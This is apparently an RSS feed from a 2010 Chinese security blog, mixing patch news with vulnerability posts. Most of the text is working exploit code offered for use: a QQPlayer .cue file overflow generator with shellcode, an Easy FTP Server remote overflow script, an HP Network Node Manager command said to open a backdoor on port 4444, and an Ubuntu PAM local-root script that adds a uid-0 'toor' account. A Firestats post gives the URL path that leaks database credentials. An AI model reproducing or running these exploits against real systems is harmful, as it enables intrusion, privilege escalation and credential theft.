SpookZanG http://www.spookzang.net 安全,漏洞,发现,共享,交流 Tue, 27 Jul 2010 15:28:29 +0000 en hourly 1 http://wordpress.org/?v=3.0 QQPlayer cue 文件缓冲区溢出漏洞 http://www.spookzang.net/article/1934 http://www.spookzang.net/article/1934#comments Tue, 27 Jul 2010 15:28:29 +0000 admin http://www.spookzang.net/?p=1934 QQPlayer cue 文件缓冲区溢出漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

 
#!/usr/bin/env python
 
#################################################################
#
# Title: QQPlayer cue File Buffer Overflow Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: www.qq.com
# Platform: Windows XPSP3 Chinese Simplified
# Tested: QQPlayer 2.3.696.400
# Vulnerable: QQPlayer<=2.3.696.400p1
#
#################################################################
# Code :
 
head = '''FILE "'''
junk = "A" * 780
nseh ="\x42\x61\x21\x61"
seh  ="\xa9\x9e\x41\x00"
adjust="\x32\x42\x61\x33\xca\x83\xc0\x10"
shellcode=("hffffk4diFkTpj02Tpk0T0AuEE2C4s4o0t0w174t0c7L0T0V7L2z1l131o2q1k2D1l081o"
           "0v1o0a7O2r0T3w3e1P0a7o0a3Y3K0l3w038N5L0c5p8K354q2j8N5O00PYVTX10X41PZ41"
           "H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE2C5CJO1E0G1I4T1R2M0T1V7L1TKL2CK"
           "NK0KN2EKL08KN1FKO1Q7LML2N3W46607K7N684H310I9W025DOL1S905A4D802Z5DOO01")
junk_="R"*8000
foot ='''.avi" VIDEO'''+"\x0a"'''TRACK 02 MODE1/8888'''+"\x0a"+"INDEX 08 08:08:08"
payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot
 
fobj = open("poc.cue","w")
fobj.write(payload)
fobj.close()
]]> http://www.spookzang.net/article/1934/feed 0 微软被曝快捷方式漏洞 http://www.spookzang.net/article/1931 http://www.spookzang.net/article/1931#comments Thu, 22 Jul 2010 14:41:13 +0000 admin http://www.spookzang.net/?p=1931 微软于近日发布公告，称其发现一个极其严重的漏洞，可作用于WINDOWS2000 – WINDOWS 7 之间。该漏洞存在于“Windows Shell”组件中，当用户运行黑客们构造的“特殊”的快捷方式时候，就会远程执行黑客所想执行的命令。

微软推出了临时解决的方法，但尚未发布补丁。

临时解决方法：关闭系统WebClient服务

1.在开始－－运行中输入“Services.msc”，打开服务控制面板。

2.找到“WebClient”服务项，如果其正在运行状态中，请先将其关闭，之后修改启动类型为“已禁用”。

此方案所带来的影响：WebDAV请求将不会被传输，另外任何明显依赖于“WebClient”服务的其它服务项会受到影响。

或者：

1.打开注册表编辑器，定位到“HKEY_CLASSES_ROOT\lnkfile\shellex\IconHandler”项目下

2.右键单击，选择导出，将该项注册表键值进行修改前备份。

3.备份之后，将该项的默认键值修改为空。

此方案所带来的影响：快捷方式的图标将不会被显示，而是呈现出“未知文件类型”的图标样式。这仅仅是视觉效果上的影响。

请各位用户谨慎决定！！！

]]> http://www.spookzang.net/article/1931/feed 1 Easy FTP Server v1.7.0.11 远程缓冲区溢出漏洞 http://www.spookzang.net/article/1927 http://www.spookzang.net/article/1927#comments Mon, 19 Jul 2010 08:48:03 +0000 admin http://www.spookzang.net/?p=1927 Easy FTP Server v1.7.0.11 远程缓冲区溢出漏洞，以及0day程序。

漏洞利用程序下载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

# Exploit Title: Easy FTP Server v1.7.0.11 CWD Command Remote Buffer Overflow Exploit (Post Auth)
# Date: 2010-07-18
# Author: fdisk
# Software Link:
# Version: 1.7.0.11
# Tested on: Windows XP SP3 en
# CVE:
 
import socket
import sys
 
buffersize = 268
 
# windows/exec - 227 bytes x86/shikata_ga_nai EXITFUNC=process, CMD=calc.exe
shellcode = ("\xb8\xf1\x18\xc7\x71\xd9\xc7\x29\xc9\xb1\x33\xd9\x74\x24\xf4"
"\x5b\x31\x43\x12\x83\xeb\xfc\x03\xb2\x16\x25\x84\xc8\xcf\x20"
"\x67\x30\x10\x53\xe1\xd5\x21\x41\x95\x9e\x10\x55\xdd\xf2\x98"
"\x1e\xb3\xe6\x2b\x52\x1c\x09\x9b\xd9\x7a\x24\x1c\xec\x42\xea"
"\xde\x6e\x3f\xf0\x32\x51\x7e\x3b\x47\x90\x47\x21\xa8\xc0\x10"
"\x2e\x1b\xf5\x15\x72\xa0\xf4\xf9\xf9\x98\x8e\x7c\x3d\x6c\x25"
"\x7e\x6d\xdd\x32\xc8\x95\x55\x1c\xe9\xa4\xba\x7e\xd5\xef\xb7"
"\xb5\xad\xee\x11\x84\x4e\xc1\x5d\x4b\x71\xee\x53\x95\xb5\xc8"
"\x8b\xe0\xcd\x2b\x31\xf3\x15\x56\xed\x76\x88\xf0\x66\x20\x68"
"\x01\xaa\xb7\xfb\x0d\x07\xb3\xa4\x11\x96\x10\xdf\x2d\x13\x97"
"\x30\xa4\x67\xbc\x94\xed\x3c\xdd\x8d\x4b\x92\xe2\xce\x33\x4b"
"\x47\x84\xd1\x98\xf1\xc7\xbf\x5f\x73\x72\x86\x60\x8b\x7d\xa8"
"\x08\xba\xf6\x27\x4e\x43\xdd\x0c\xa0\x09\x7c\x24\x29\xd4\x14"
"\x75\x34\xe7\xc2\xb9\x41\x64\xe7\x41\xb6\x74\x82\x44\xf2\x32"
"\x7e\x34\x6b\xd7\x80\xeb\x8c\xf2\xe2\x6a\x1f\x9e\xca\x09\xa7"
"\x05\x13")
 
eip = "\x91\xC8\x41\x7E" # CALL EDI - user32.dll
nopsled = "\x90" * 16
 
payload = "\x90" * (buffersize-(len(nopsled)+len(shellcode)))
 
def ExploitEasyFTP(target):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect = s.connect((target, 21))
    s.recv(1024)
    s.send('User anonymous\r\n')
    s.recv(1024)
    s.send('PASS anonymous\r\n')
    s.send('CWD '+nopsled+shellcode+payload+eip+'\r\n')
    s.recv(1024)
    s.send('QUIT ftp\r\n')
    s.close()
 
target = sys.argv[1]
 
ExploitEasyFTP(target)
]]> http://www.spookzang.net/article/1927/feed 0 惠普 Network Node Manager 7.53 缓冲区溢出漏洞+0day http://www.spookzang.net/article/1923 http://www.spookzang.net/article/1923#comments Fri, 16 Jul 2010 04:20:19 +0000 admin http://www.spookzang.net/?p=1923 HP Network Node Manager (NNM) 7.53缓冲区溢出漏洞+0day。

如图运行下面语句即可打开一个端口为4444的后门。

1

C:\Program Files\HP OpenView\www\bin\ovwebsnmpsrv.exe -dump AAAAAAAAAAAAUXf-9Tf-9Tf-9TU\AAAAAAAAAAAAAAAAAAAAAPYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlIxMYC0EPGpCPNiJEP1KbQtLKPRFPLKF2DLNkF2EDNkD2ExFoMgPJDfDqIoEaIPNLElPaQlFbDlGPJaHODMFaIWKRL0QBF7LKBrFpLKQRElFaJpNkQPD8OuIPCDCzEQHPF0LKQXGhNkBxEpEQHSKSElQYLKDtLKFaKfP1KOP1KpLlIQJoDMGqO7DxM0BUJTFcCMIhGKQmQ4CEKRBxLKBxQ4FaN3E6NkDLPKLKBxELEQJsLKC4NkC1HPMYG4GTQ4QKQKCQPYQJCaKOIpBxQOCjLKDRHkMVCmE8GCFRGpC0E8BWCCP2CoPTPhPLQgFFDGIoJuOHNpEQGpGpQ9HDPTBpBHFIMPPkGpIoKePPPPPPBpG0F0G0F0QxJJDOKoM0KOHULIO7DqIKQCE8C2GpFqQLK9HfPjDPCfCgPhIRIKEgE7KOIEBsBwBHH7KYDxKOIoJuQCCcF7PhQdJLEkKQKON5QGOyIWE8QeBNPMQqKON5BHQsBME4C0NiJCBwBwQGP1L6PjGbPYCfKRImBFO7G4FDGLC1FaNmPDGTFpKvGpG4QDPPCfQFF6CvBvBnBvF6QCQFBHQiJlEoNfKOJuK9IpBnF6CvIoP0BHDHOwGmCPKOHUMkJPH5MrF6BHMvJ5MmOmKOJuElDFCLFjOpKKM0BUEUOKG7GcQbBOCZC0CcKON5DJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYY5AZCCX,Y,XP\SX-1UUU-1PPP-N_ZZPSX-zzzd-{zzd-{zzMPCCCCCCCCCCCCCCCCCCCCCCCCCCCC
]]> http://www.spookzang.net/article/1923/feed 0 Excel 0x5D 记录缓冲区溢出0day程序 http://www.spookzang.net/article/1919 http://www.spookzang.net/article/1919#comments Thu, 15 Jul 2010 05:35:43 +0000 admin http://www.spookzang.net/?p=1919 Excel 0x5D 记录缓冲区溢出漏洞！受影响的版本是Office 2007.
点击下载利用程序

]]> http://www.spookzang.net/article/1919/feed 0 今天微软发布新补丁，请及时更新 http://www.spookzang.net/article/1916 http://www.spookzang.net/article/1916#comments Wed, 14 Jul 2010 14:34:47 +0000 admin http://www.spookzang.net/?p=1916 今天，微软发布了漏洞更新补丁，这次更新修复四个安全漏洞，包括Windows系统和Office在内的已知漏洞将在此次更新中修复。

微软这次给漏洞补丁的编号是从ms10-042到ms10-045，其中，MS10-42、 MS10-43修复了黑客可以利用特殊构造的程序从而远程执行代码的漏洞，而MS10-44 、MS10-45则解决了OFFICE ACCESS 以及OUTLOOK中的远程代码执行漏洞。

因这些漏洞已经有黑客开发出了0day程序，并且已经被大规模的使用，请网民及时升级.

]]> http://www.spookzang.net/article/1916/feed 0 Ubuntu 本地提权0day http://www.spookzang.net/article/1914 http://www.spookzang.net/article/1914#comments Tue, 13 Jul 2010 03:35:46 +0000 admin http://www.spookzang.net/?p=1914 一个Ubantu的本地提权0day程序，其利用了pam-1.1.0一个漏洞，从而能添加一个用户名和密码为toor的root用户，但是这个漏洞利用程序只能用于pam-1.1.0的版本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84

#!/bin/bash
#
# Exploit Title: Ubuntu PAM MOTD local root
# Date: July 9, 2010
# Author: Anonymous
# Software Link: http://packages.ubuntu.com/
# Version: pam-1.1.0
# Tested on: Ubuntu 9.10 (Karmic Koala), Ubuntu 10.04 LTS (Lucid Lynx)
# CVE: CVE-2010-0832
# Patch Instructions: sudo aptitude -y update; sudo aptitude -y install libpam~n~i
# 
#
# Local root by adding temporary user toor:toor with id 0 to /etc/passwd & /etc/shadow.
# Does not prompt for login by creating temporary SSH key and authorized_keys entry.
#
#   user@ubuntu:~$ bash ubuntu-pam-motd-localroot.sh
#   [*] Ubuntu PAM MOTD local root
#   [*] Backuped /home/user/.ssh/authorized_keys
#   [*] SSH key set up
#   [*] Backuped /home/user/.cache
#   [*] spawn ssh
#   [+] owned: /etc/passwd
#   [*] spawn ssh
#   [+] owned: /etc/shadow
#   [*] Restored /home/user/.cache
#   [*] Restored /home/user/.ssh/authorized_keys
#   [*] SSH key removed
#   [+] Success! Use password toor to get root
#   Password:
#   root@ubuntu:/home/user# id
#   uid=0(root) gid=0(root) groupes=0(root)
#
P='toor:x:0:0:root:/root:/bin/bash'
S='toor:$6$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTWLKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:99999:7:::'
echo "[*] Ubuntu PAM MOTD local root"
[ -z "$(which ssh)" ] && echo "[-] ssh is a requirement" && exit 1
[ -z "$(which ssh-keygen)" ] && echo "[-] ssh-keygen is a requirement" && exit 1
[ -z "$(ps -u root |grep sshd)" ] && echo "[-] a running sshd is a requirement" && exit 1
backup() {
    [ -e "$1" ] && [ -e "$1".bak ] && rm -rf "$1".bak
    [ -e "$1" ] || return 0
    mv "$1"{,.bak} || return 1
    echo "[*] Backuped $1"
}
restore() {
    [ -e "$1" ] && rm -rf "$1"
    [ -e "$1".bak ] || return 0
    mv "$1"{.bak,} || return 1
    echo "[*] Restored $1"
}
key_create() {
    backup ~/.ssh/authorized_keys
    ssh-keygen -q -t rsa -N '' -C 'pam' -f "$KEY" || return 1
    [ ! -d ~/.ssh ] && { mkdir ~/.ssh || return 1; }
    mv "$KEY.pub" ~/.ssh/authorized_keys || return 1
    echo "[*] SSH key set up"
}
key_remove() {
    rm -f "$KEY"
    restore ~/.ssh/authorized_keys
    echo "[*] SSH key removed"
}
own() {
    [ -e ~/.cache ] && rm -rf ~/.cache
    ln -s "$1" ~/.cache || return 1
    echo "[*] spawn ssh"
    ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true
    [ -w "$1" ] || { echo "[-] Own $1 failed"; restore ~/.cache; bye; }
    echo "[+] owned: $1"
}
bye() {
    key_remove
    exit 1
}
KEY="$(mktemp -u)"
key_create || { echo "[-] Failed to setup SSH key"; exit 1; }
backup ~/.cache || { echo "[-] Failed to backup ~/.cache"; bye; }
own /etc/passwd && echo "$P" >> /etc/passwd
own /etc/shadow && echo "$S" >> /etc/shadow
restore ~/.cache || { echo "[-] Failed to restore ~/.cache"; bye; }
key_remove
echo "[+] Success! Use password toor to get root"
su -c "sed -i '/toor:/d' /etc/{passwd,shadow}; chown root: /etc/{passwd,shadow}; \
  chgrp shadow /etc/shadow; nscd -i passwd >/dev/null 2>&1; bash" toor
]]> http://www.spookzang.net/article/1914/feed 0 微软将于13号发布Windows和Office多个补丁 http://www.spookzang.net/article/1907 http://www.spookzang.net/article/1907#comments Sun, 11 Jul 2010 10:09:21 +0000 admin http://www.spookzang.net/?p=1907 7月11号，微软安全部门公布消息称，关于Windows 2000和Xp sp2的补丁程序提供将于13号正式结束。

　　自7月14日起，微软”绝对”不会再次提供这两个操作系统的更新程序。微软建议使用这两款系统的用户尽快升级至Xp sp3或者更高级的程序。

　　尽管微软对于XP的立场十分明确，但对于Windows Vista x64的的信息却十分含糊。因为64位操作系统没有办法升级到Windows Sp3。微软称出于对用户服务支持的考虑，我们Windows XP x64已经研发至RTM版。而此次也微软也希望64位用户升级到windows x64 sp2.

本次一共修复了5处漏洞，受影响的系统分别为Window XP、Windows 2003 和 Windows 7 x64。
　 Office方面，涉及了Access 2003、2007，还修复了关于outlook 2002、2003和2007。

]]> http://www.spookzang.net/article/1907/feed 0 WordPress Firestats插件存在远程下载漏洞 http://www.spookzang.net/article/1903 http://www.spookzang.net/article/1903#comments Sat, 10 Jul 2010 12:43:47 +0000 admin http://www.spookzang.net/?p=1903 Firefstats 是 WordPress 下一个功能强大的统计插件。使用 Firestats ，你可以很方便地了解博客访问者的情况，以及博客被访问的情况。

而他却出现了配置文件可以任意下载的漏洞。目前官方尚未提供漏洞补丁，使其成为了一个0day

访问：

http://site/wp-content/plugins/firestats/php/tools/get_config.php

即可下载到get_config.php，其中包含了你的数据库用户名，密码等信息。

]]> http://www.spookzang.net/article/1903/feed 1 Real Player 12.0.0.879 Windows Xp 0day http://www.spookzang.net/article/1898 http://www.spookzang.net/article/1898#comments Fri, 09 Jul 2010 06:57:11 +0000 admin http://www.spookzang.net/?p=1898 这个漏洞是利用了Windows Xp的RCE漏洞。从而使得安装过Real Player 的用户能在播放的时候，触发漏洞，从而执行黑客所想执行那个的程序。（如图）

漏洞利用程序下载：rp-0day
解压密码为:1

]]> http://www.spookzang.net/article/1898/feed 0